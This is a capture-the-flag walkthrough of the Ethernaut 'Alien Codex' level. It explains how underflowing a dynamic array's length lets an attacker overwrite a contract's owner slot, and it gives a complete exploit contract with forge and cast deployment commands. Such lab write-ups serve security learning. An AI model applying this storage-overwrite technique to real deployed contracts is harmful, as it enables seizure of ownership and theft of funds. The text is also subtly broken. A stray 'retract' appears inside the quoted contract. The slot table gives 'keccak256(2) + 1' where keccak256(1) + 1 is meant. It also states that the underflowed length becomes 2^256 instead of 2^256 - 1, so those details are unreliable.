# Ethernaut Level 19 - Alien Codex

## Objectives

Our only objective [here](https://ethernaut.openzeppelin.com/level/0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272) is to become the owner of the contract. To complete this level, we must know the concept of dynamic arrays and how their slot packing works, along with overflows and underflows. Let's dive in.

---

## Analysis

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }retract
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
  	codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}
```
We can see in the above contract that there's no `owner` variable. This is because it is coming from the inherited `Ownable` contract. If we look into the `Ownable.sol`, we can see that the variable `address private _owner;` is defined in the slot 0 of the contract. 
retract
```solidity
pragma solidity ^0.5.0;

// some comments
contract Ownable {
    address private _owner;
...
```
Now that that's clear, let's learn how dynamic arrays work. 

Assuming the dynamic array starts at a slot location `p`, then the slot `p` will contain the total number of elements stored in the array, and the actual array data will be stored at `keccack256(p)`. More info on this can be found in the [Solidity Docs](https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_storage.html#mappings-and-dynamic-arrays).  

Let's go through the organization of the storage layout in our vulnerable contract:

|Slot Number | Variables |
|---|---|
|0|`bool public contact` and `address private _owner` (both are in slot 0)|
|1|codex.length (Number of elements in the dynamic array|
|..|..|
|..|..|
|keccak256(1)|codex[0] (Array's first element)|
|keccak256(2) + 1|codex[1] (Array's second element)|
|..|..|
|..|..|
|2<sup>256</sup> - 1|codex[2<sup>256</sup> - 1 - unit(keccack256(1))|
|0|codex[2<sup>256</sup> - 1 - unit(keccack256(1)) + 1 (slot 0 access, remember overflows?)|

To finish the level we need to do the following steps:
1. Call the `make_contact()` function so that the `contact` is set to `true`. This will allow us to go through the `contacted()` modifier. 
2. Call the `retract()` function. This will decrease the `codex.length` by 1. And what happens when you subtract 1 from 0 (initial array position)? You get an underflow. This will change the `codex.length` to be 2<sup>256</sup> which is also the total storage capacity of the contract. This will now allow us access to any variables stored in the contract. 
3. Call the `revise()` function to access the array at slot 0 and update the value of the `_owner` with our own address. The index `i` can be calculated as shown in the slot table above. 

```solidity
uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
```
The `_content` is of type `bytes32` which means we need to convert our address to `bytes32`. This can be done using the following code:
```solidity
bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
```

---

## The Exploit
Here's how the [exploit code](https://github.com/az0mb13/ethernaut-foundry/blob/master/src/level19.sol) looks:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../instances/Ilevel19.sol";

contract AlienHack {
    AlienCodex level19 = AlienCodex(0x752dD58810d09984504e080098A0c3Cf26C9093e);

    function exploit () external {
        uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
        bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
        level19.make_contact();
        level19.retract();
        level19.revise(index, myAddress);
    }
}
```

We are calculating the index on which the slot 0 exists, converting our address to `bytes32`. The function `retract()` is called to underflow the array and then it is updated using the `revise()` function which is storing our address into the `_owner` variable in slot 0. 

Let's deploy the contract using the following command:
```
forge create AlienHack --private-key $PKEY --rpc-url $RPC_URL
```
and call our `exploit()` function which will make us the owner:
```
cast send 0xb8131b26fa82A0d09fd7Aa186F7157418774e192 "exploit()" --private-key $PKEY --rpc-url $RPC_URL
```

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1662218893334/ukHl7CsNX.png align="left")

We can check the new owner through the console using `await contract.owner()`. The instance can now be submitted to finish the level. 

> My **Github Repository** containing all the codes: github.com/az0mb13/ethernaut-foundry

> My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

---

## Takeaways
Never allow modification of the array length of a dynamic array as they can overwrite the whole contract's storage using overflows and underflows. 

---

#### References
* https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_storage.html#mappings-and-dynamic-arrays
* https://listed.to/@r1oga/13892/ethernaut-levels-19-to-21#AlienCodex

